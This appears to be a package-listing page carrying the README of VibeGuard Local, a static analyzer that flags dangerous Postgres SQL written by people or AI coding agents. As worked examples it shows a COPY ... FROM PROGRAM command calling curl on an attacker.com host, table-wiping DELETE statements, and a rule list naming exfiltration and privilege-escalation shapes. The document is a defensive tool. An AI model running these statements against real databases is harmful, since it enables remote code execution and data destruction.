vibeguard-local

skill
Security Audit
Warn
Health Warn
  • License — License: Apache-2.0
  • No description — Repository has no description
  • Active repo — Last push 0 days ago
  • Low visibility — Only 7 GitHub stars
Code Pass
  • Code scan — Scanned 12 files during light audit, no dangerous patterns found
Permissions Pass
  • Permissions — No dangerous permissions requested

No AI report is available for this listing yet.

README.md

VibeGuard — Local

AI agents are casually writing SQL that can nuke your entire production database.
VibeGuard Local is the senior DBA review your AI doesn't know it needs.

36 battle-tested safety checks. Sub-millisecond. 100% local.

🆕 v1.8 — works with every major coding agent. One install command and the SQL safety skill drops into Claude Code, Cursor, GitHub Copilot CLI, Google Gemini CLI, Codeium Windsurf, aider, plus any agent that reads AGENTS.md (Codex CLI, OpenCode, OpenClaw, Hermes, Pi). Zero per-agent setup.

npm install @vibeguard-dev/local libpg-query
npx vg-local install-skill        # auto-detects every agent on this machine, installs into each

Runs in your editor as you type, in CI before you merge, in the CLI before you migrate, or right in your browser. Nothing ever leaves your machine.

@vibeguard-dev/local
eslint-plugin-vibeguard
License
CI
Playground


Try it right now → muddysheep.github.io/vibeguard-local

Paste any query. Or click one of 36 ready-made samples — one per shipped check. Watch the analyzer catch what you didn't know was wrong.

Runs entirely in your browser via WASM. Your SQL never leaves the page. No signup, no install, no telemetry.

VibeGuard playground — dark theme


Three queries that look fine and absolutely aren't

These are real query shapes that have caused real outages. Paste any of them into the playground and watch what happens.

1. The audit-log trick that still deletes everything

WITH deleted_users AS (
    DELETE FROM users
    RETURNING id, account_status
)
INSERT INTO audit_log (user_id, action)
SELECT id, 'purged' FROM deleted_users
WHERE account_status = 0;

Looks like: "we only purge inactive users — there's a WHERE account_status = 0 right there."
Actually does: deletes every row in users. The WHERE is on the outer SELECT, not the DELETE. The audit log just looks clean because only the inactive users get logged. You won't notice until the support tickets start.
VibeGuard catches: SQL-003 (block, 97) — Unbounded DELETE statement.

2. The WHERE 1=1 placeholder that ships to production

DELETE FROM users WHERE 1=1;

Looks like: scoped — there's a WHERE clause, the AI was being careful.
Actually does: deletes everything. AI agents leave WHERE 1=1 as a placeholder they "intend to fill in later." Sometimes they don't. Sometimes the human doesn't notice. Sometimes both.
VibeGuard catches: SQL-034 (block, 95) — literal tautology on DELETE.

3. The Postgres feature that's also remote code execution

COPY users FROM PROGRAM 'curl http://attacker.com/payload.csv';

Looks like: a normal COPY for loading data. The AI even commented it as "import users from CSV."
Actually does: runs curl (or rm -rf, or anything) on the database server, as the postgres OS user. If your AI agent has DB credentials and writes this, that's RCE on your Postgres host. This is documented Postgres behavior, not a vulnerability — and almost nobody knows it exists until someone exploits it.
VibeGuard catches: SQL-016 (block, 99) — COPY ... FROM PROGRAM.

There are 33 more like these. The full list is below.


Who this is for

You're shipping fast with AI and you're a little nervous about it.
Cursor's writing your migrations. Claude Code is generating RPCs. Replit Agent's been touching the database for two hours and you haven't been watching every query. You want a tripwire that fires before the agent's confidently-wrong SQL hits production. That's this.

You're a senior engineer and you read the three queries above and immediately knew which 2am incident each one represents.
You don't need convincing. You need a npm install, an ESLint rule, and a CI step. Skip to Install.

Specifically, this is for you if any of these are true:

  • You write SQL by hand. Migrations, RPC bodies, ad-hoc fixes. One missing WHERE clause wipes a table at 11pm and you spend Saturday restoring from backup.
  • You write SQL inside JavaScript or TypeScript. Tagged template literals (sql`SELECT ...`) in postgres.js, Kysely, Drizzle's raw SQL escape, or any framework. Most ORM code is safe; the dangerous queries are the ones you wrote yourself in a tagged template and never linted.
  • You let AI agents touch your database. Cursor, Claude Code, Replit Agent, custom orchestrators. The agent confidently generates DELETE FROM users and you find out it ran when the support tickets start.

This is NOT for you if your entire workflow is structured query builders you never override (.from().select().eq() chains, ActiveRecord without find_by_sql). Those are already parameterized and safe by construction. The moment SQL gets written as text, by anyone or anything — that's when this kicks in.


For AI agents (new in v1.7)

VibeGuard now speaks fluent agent. Four pieces, designed to compose:

  • --format=jsonl (also --format=ndjson) — stable, machine-readable output. One JSON object per catch on stdout, with a versioned _schema field. Perfect for CI gates, dashboards, and agent memory loops. Schema is committed in STABILITY.md.
  • --stdin — pipe SQL from agent memory or a shell variable directly. No temp file, no mktemp dance.
  • examples/agent-skill/SKILL.md — drop-in skill file. Frontmatter uses only the fields Claude Code actually parses today (name, description); body is portable to Cursor / aider per the companion README. The skill teaches the agent to pre-flight every SQL through vg-local before executing.
  • --reflect (experimental) — emits a richer reflection object per catch with pain_score, importance, suggested_lesson and a templated reflection paragraph designed for agent episodic-memory ingestion. Schema is vg-reflect/0 and is explicitly not under semver commitments yet; see STABILITY.md → Reflection output schema (EXPERIMENTAL) and docs/reflect-mode.md for the graduation contract and consumption recipes.

Quick start — one command, every harness

npx vg-local install-skill

That auto-detects every agent harness on this machine + project and installs the vibeguard-sql-safety skill into each. Interactive — prompts before writing. --yes skips the prompt for CI / scripts.

Harnesses supported in v1.8+:

Harness Detection signal Install destination
Claude Code (user) ~/.claude/ exists ~/.claude/skills/vibeguard-sql-safety/SKILL.md
Claude Code (project) ./.claude/ exists ./.claude/skills/vibeguard-sql-safety/SKILL.md
Cursor (.cursorrules) .cursorrules file appended between marker comments
Cursor (.cursor/rules/) .cursor/rules/ directory .cursor/rules/vibeguard-sql-safety.mdc
aider CONVENTIONS.md or .aider.conf.yml appended to CONVENTIONS.md
GitHub Copilot CLI .github/instructions/ etc. .github/instructions/vibeguard-sql-safety.instructions.md
Google Gemini CLI gemini.md or .gemini/ appended to gemini.md
Codeium Windsurf (.windsurfrules) .windsurfrules file appended between marker comments
Codeium Windsurf (.windsurf/rules/) .windsurf/rules/ directory .windsurf/rules/vibeguard-sql-safety.md
AGENTS.md family — Codex CLI, OpenCode, OpenClaw, Hermes, Pi AGENTS.md, opencode.json, .pi/, or .openclaw-system.md appended to AGENTS.md between marker comments

For deterministic activation in Claude Code (everywhere else it's already deterministic — they read the instruction file on every prompt), opt in to a CLAUDE.md memory directive:

npx vg-local install-skill --yes --with-memory=user
# or --with-memory=project for project-scoped activation

Restrict to one specific harness:

npx vg-local install-skill --target=claude-user
# valid target ids: claude-user, claude-project, cursor-rules-file,
#                   cursor-rules-dir, aider, agents-md, copilot-cli,
#                   gemini, windsurf-rules-file, windsurf-rules-dir

Idempotent. All file-append targets use marker comments (<!-- vibeguard-skill-begin --> / <!-- vibeguard-skill-end -->); re-running install replaces between markers rather than duplicating.

Manual install (if you prefer not to use the subcommand): the SKILL.md ships in the tarball at node_modules/@vibeguard-dev/local/examples/agent-skill/SKILL.md. Copy it to whichever path matches your harness from the table above.

The agent's pre-flight call from then on:

echo "$SQL" | vg-local analyze --stdin --format=jsonl

One JSON object per catch on stdout, exit code 1 if any block-severity catch fires, parse errors on stderr.

What this changes

VibeGuard goes from "a wall the agent bounces off" to "a teacher the agent can ingest." The JSONL output composes with jq, dashboards, and CI. The reflection mode (when its schema graduates) lets the agent's memory loop compound lessons across runs, keyed on stable catch IDs — three months from now the agent doesn't even propose the dangerous shape because the lesson is in its semantic memory.


What it does

You write SQL — by hand, by template literal, or by AI agent.

Before that SQL touches your database, VibeGuard reads it and flags 36 patterns that destroy data, leak data, or open security holes.

The check runs locally, in milliseconds. Nothing leaves your machine. There are four ways to use it:

  • Browser Playground — try it instantly, no install, no signup
  • CLI — for .sql files, migrations, CI pipelines, and agents (--stdin + --format=jsonl)
  • ESLint Plugin — real-time underlines in sql`...` tagged templates as you type
  • SDK — wire it into agents, custom dashboards, or memory loops (--format=jsonl + --reflect)

Install

There are two packages. Pick based on where your SQL lives:

Where your SQL lives Install
.sql files (migrations, RPC bodies, ad-hoc) @vibeguard-dev/local — the SDK and CLI
Inside JS/TS files as sql`...` template literals eslint-plugin-vibeguard (which uses the SDK under the hood)
Both Install both

Most people start with @vibeguard-dev/local, run the CLI on their migrations, see what it catches, then add the ESLint plugin if they also have SQL inside template literals.

@vibeguard-dev/local — the SDK and CLI

The engine. The SDK is what does the analysis; the CLI is the same engine wrapped for terminal use. Install this if you have .sql files anywhere or want to use the analyzer programmatically.

npm install @vibeguard-dev/local libpg-query

libpg-query is the Postgres parser. It's a peer dependency because some users want to control its version separately.

Programmatic use:

import { analyze, init } from '@vibeguard-dev/local';

await init(); // one-time WASM-parser bootstrap

const result = analyze(`UPDATE users SET email = '[email protected]'`);
//   → { catches: [{ code: 'SQL-003', severity: 'block', confidence: 99, … }] }

analyze() takes a SQL string and returns an array of catches. Each catch has a stable code, a severity (block | warn | info), a confidence number, a human-readable message, and a suggested fix. That's the whole API.

CLI use (best for .sql files, CI, and agents):

npx @vibeguard-dev/local init                       # scaffold a sample SQL file + npm script
vg-local analyze 'src/**/*.sql'                     # analyze files; exit code 1 on any block-severity catch
vg-local analyze 'src/**/*.sql' --format=jsonl      # machine-readable output (one JSON object per catch)
echo "$SQL" | vg-local analyze --stdin --format=jsonl
                                                    # pipe from an agent — no temp file needed
vg-local analyze 'src/**/*.sql' --reflect           # experimental: reflection objects for agent memory loops
vg-local analyze 'src/**/*.sql' --fix               # apply autofixes for SQL-001 / 005 / 006 / 011
vg-local analyze 'src/**/*.sql' --fix-dry-run       # show what would change, don't write

The exit-code-1-on-block behavior is what makes it CI-friendly: drop vg-local analyze into a GitHub Action, and PRs that introduce a block-severity catch fail the build. Your AI can keep generating SQL all day; the build just won't let the destructive shapes through.

Full SDK and CLI reference: packages/sdk/README.md.

eslint-plugin-vibeguard — for SQL inside JS/TS template literals

If your SQL lives in sql`SELECT ...` tagged template literals, this gets you in-editor underlines as you type — same way ESLint flags any other lint error. Install on top of (or alongside) @vibeguard-dev/local.

npm install --save-dev eslint-plugin-vibeguard libpg-query
// eslint.config.js (ESLint 9+ flat config)
import vibeguard from 'eslint-plugin-vibeguard';

export default [
  {
    files: ['**/*.{js,ts,tsx}'],
    plugins: { vibeguard },
    rules: { 'vibeguard/sql-safety': 'error' },
  },
];

Now sql`SELECT id FROM users WHERE active = NULL` underlines active = NULL in your editor with the SQL-005 catch. Run eslint --fix and it rewrites to IS NULL, the same way Prettier reformats code.

The plugin recognizes the sql tag by default. You can configure other tags (e.g. db.query) — see the plugin docs.

Full plugin docs: packages/eslint-plugin/README.md.


What's in the playground

The playground at muddysheep.github.io/vibeguard-local is a hosted demo of the analyzer running entirely in your browser. Useful for:

  • Trying it before installing. Paste a query, see what fires, decide if it's worth the npm install.
  • Sharing a finding. The share button packs the editor contents into the URL. Copy the URL, paste it in Slack, your teammate sees the same query and the same verdict.
  • Reproducing a bug. If the analyzer surprises you, the AST view shows what the parser actually saw, which is usually where the surprise came from.

All 36 catches have a one-click sample in the gallery. Clicking SQL-013 loads a DROP TABLE example; SQL-005 loads a WHERE col = NULL footgun; and so on. Use the samples to map a catch ID to a real query in seconds.

Light theme AST viewer
Light theme — DROP TABLE block catch AST viewer expanded

The 36 catches

Each has a stable code (e.g. SQL-001), a severity, a confidence range, and a docs page. Catch IDs are forever-stable — once a catch ID is published, it always means the same thing. Severity may change in major versions; the meaning of the ID does not. (Full stability commitment: STABILITY.md.)

V1.0 through V1.5 shipped 15 catches focused on correctness footguns — cartesian products, NULL comparison bugs, missing WHERE clauses, recursive CTE termination. V1.6 adds 21 Postgres-specific catches focused on destruction, exfiltration, privilege escalation, and analyzer blind spots (SQL-016 through SQL-036).

Code Title Severity Confidence Default Auto-fix
SQL-001 Cartesian explosion (also UPDATE…FROM, DELETE…USING) block 90–95 ON placeholder
SQL-002 Self-join footgun (also UPDATE…FROM, DELETE…USING) warn 70–85 ON
SQL-003 Unbounded UPDATE / DELETE block 95–99 ON
SQL-004 Implicit type coercion in WHERE warn 75–85 ON
SQL-005 NULL comparison footgun warn 90–95 ON yes
SQL-006 OFFSET without ORDER BY warn 85–95 ON placeholder
SQL-007 NOT IN with nullable subquery warn 75–85 ON
SQL-008 String-concat injection patterns block 80–95 ON
SQL-009 DISTINCT without obvious reduction info 60–75 ON
SQL-010 Correlated subquery in SELECT warn 70–85 ON
SQL-011 Aggregate without GROUP BY warn 85–95 ON yes
SQL-012 Recursive CTE without termination block 80–95 ON
SQL-013 DROP / TRUNCATE / DDL destruction block / warn 85–99 ON
SQL-014 INSERT/UPDATE/DELETE without RETURNING info 50 OFF (opt-in)
SQL-015 SELECT * over-fetch info 60 ON
SQL-016 COPY … FROM/TO PROGRAM (server-side RCE) block 99 ON
SQL-017 CREATE EXTENSION of untrusted procedural language block 95 ON
SQL-018 ALTER TABLE … DROP COLUMN (silent data loss) warn 90 ON
SQL-019 CREATE TRIGGER (hidden side effects per row) info 75 ON
SQL-020 CREATE OR REPLACE FUNCTION (silent overwrite) info 70 ON
SQL-021 GRANT … TO PUBLIC (over-broad permission) warn 90 ON
SQL-022 CREATE/ALTER ROLE … SUPERUSER (privilege escalation) block 95 ON
SQL-023 pg_terminate_backend / pg_cancel_backend (DoS) warn 85 ON
SQL-024 VACUUM FULL (ACCESS EXCLUSIVE outage) warn 80 ON
SQL-025 REFRESH MATERIALIZED VIEW (blocking refresh) warn 75 ON
SQL-026 MERGE with tautological ON (full-table mutation) block 90 ON
SQL-027 SET search_path to attacker-controlled schema warn 85 ON
SQL-028 pg_create_*_replication_slot (exfiltration channel) warn 80 ON
SQL-029 dblink / CREATE SERVER (outbound network) warn 80 ON
SQL-030 pg_read_* / lo_export / pg_ls_dir (server FS) warn 90 ON
SQL-031 INSERT … SELECT … ON CONFLICT DO UPDATE (unbounded upsert) info 75 ON
SQL-032 EXPLAIN ANALYZE of a destructive statement info 80 ON
SQL-033 DO $$ … $$ opaque procedural block info 70 ON
SQL-034 WHERE 1=1 / literal tautology on UPDATE/DELETE block 95 ON
SQL-035 UPDATE … FROM without join predicate (cross-join overwrite) block 90 ON
SQL-036 DELETE … USING without join predicate (cross-join wipe) block 90 ON

Severity meanings:

  • block — fails CI, errors in the editor, refuses the autofix flow without explicit override. Used for shapes that almost always cause real harm.
  • warn — flagged but doesn't fail CI by default. Used for shapes that are usually wrong but have legitimate uses.
  • info — informational. Useful for review, never fails anything.

Confidence is a number from 0 to 99 indicating how sure the analyzer is that this is a real problem and not a false positive. Higher numbers mean more confident.

Default is whether the rule is on out of the box. Most are. SQL-014 is off by default because most teams don't actually need RETURNING on every write, and turning it on by default would create noise.

Auto-fix indicates whether --fix rewrites the SQL automatically (yes), inserts a placeholder for you to fill in (placeholder), or doesn't apply ().


What this is NOT

This is static analysis only. It checks the shape of the SQL text — what's written, before it runs. It does not:

  • compare an agent's stated intent against what its SQL would actually do at runtime
  • estimate real blast radius from the upstream Postgres planner
  • provide tamper-evident audit logging across every database operation
  • offer human-in-the-loop escalation for grey-zone queries
  • track per-agent behavioral baselines over time

If you need any of those, there's a separate VibeGuard Cloud product — an MCP server (and, for self-hosters, a wire-protocol proxy) that sits between your AI agents and your production database at runtime. Different product, different scope. The two are designed to work together: the OSS in your editor and CI catches the dangerous shapes before they're committed; the Cloud catches what slips through, at the moment the agent tries to execute it.

This repo isn't a marketing surface for the Cloud product. But if you read the list above and thought "I need that gap filled," that gap exists, and that's what fills it.


Dialect support

VibeGuard parses Postgres SQL only, via libpg-query (Postgres's own parser).

Queries in MySQL, MariaDB, or SQLite dialects will fail to parse. The most common surface for this is placeholder syntax — Postgres uses $1, $2, $3, while MySQL/MariaDB and many ORMs use ?. A query like INSERT INTO t (a, b) VALUES (?, ?) will error with syntax error near "?,?" rather than running the rule analysis.

Multi-dialect support (MySQL, MariaDB, SQLite) is tracked in #1. It's not scheduled for v1.x. Most catches are dialect-agnostic in principle, so it's not impossible — it's a parser and test-surface investment that hasn't been made yet. If you want it prioritized, 👍 the issue and leave a comment with your stack — that signal genuinely shapes the roadmap.


Repo layout

This repo is a pnpm workspace with three packages and a playground app:

vibeguard-local/
├── packages/
│   ├── sdk/              # @vibeguard-dev/local — analyzer + CLI
│   ├── eslint-plugin/    # eslint-plugin-vibeguard — sql`…` template-literal rule
│   └── ui/               # @vibeguard-dev/ui — design system used by the playground
├── apps/
│   └── playground/       # the live web playground at muddysheep.github.io/vibeguard-local
└── .github/workflows/
    ├── ci.yml                  # typecheck + lint + test + build + size on every push
    ├── playground-deploy.yml   # build → deploy to GitHub Pages
    └── release.yml             # creates draft GitHub Release on `v*` tag push

@vibeguard-dev/ui is published to npm but isn't documented here — it's an internal-shaped package the playground happens to depend on. If you're building a custom dashboard on top of the analyzer and want the same look, see packages/ui/README.md. Otherwise, you can ignore it.

To work on the repo locally:

corepack enable                    # picks up the pnpm version pinned in package.json
pnpm install
pnpm -r --if-present build         # build first — workspace deps resolve types via dist/
pnpm -r --if-present typecheck
pnpm -r --if-present test

Architecture and contribution process: packages/sdk/CONTRIBUTING.md, packages/sdk/ARCHITECTURE.md.


License

Apache 2.0 across the whole workspace. See packages/sdk/NOTICE for attribution requirements that travel with derivative works.

Reviews (0)

No results found